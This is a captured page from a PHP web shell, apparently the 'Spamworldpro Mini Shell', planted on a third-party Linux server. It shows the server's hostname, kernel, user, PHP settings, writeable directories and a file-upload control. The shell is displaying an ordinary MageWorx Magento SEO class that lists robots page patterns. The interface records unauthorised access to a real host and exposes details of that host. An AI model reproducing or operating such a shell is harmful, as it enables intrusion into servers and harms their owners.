Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/mageworx/module-seobase/Model/Source/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/mageworx/module-seobase/Model/Source/RobotPages.php
<?php
/**
 * Copyright © 2015 MageWorx. All rights reserved.
 * See LICENSE.txt for license details.
 */

namespace MageWorx\SeoBase\Model\Source;

class RobotPages
{
    /**
     * @var array
     */
    protected $options;

    /**
     * @param bool $isMultiselect
     * @return array
     */
    public function toOptionArray($isMultiselect = false)
    {
        $this->options = [
            ['value' => '^checkout_.+', 'label' => __('Checkout Pages')],
            ['value' => '^contact_.+', 'label' => __('Contact Us Page')],
            ['value' => '^customer_.+', 'label' => __('Customer Account Pages')],
            ['value' => '^catalog_product_compare_.+', 'label' => __('Product Compare Pages')],
            ['value' => '^rss_.+', 'label' => __('RSS Feeds')],
            ['value' => '^catalogsearch_.+', 'label' => __('Search Pages')],
            ['value' => '.*?_product_send$', 'label' => __('Send Product Pages')],
            ['value' => '^wishlist_.+', 'label' => __('Wishlist Pages')],
        ];

        $options = $this->options;
        if (!$isMultiselect) {
            array_unshift(
                $options,
                ['value' => '', 'label' => __('--Please Select--')]
            );
        }
        return $options;
    }
}

Spamworldpro Mini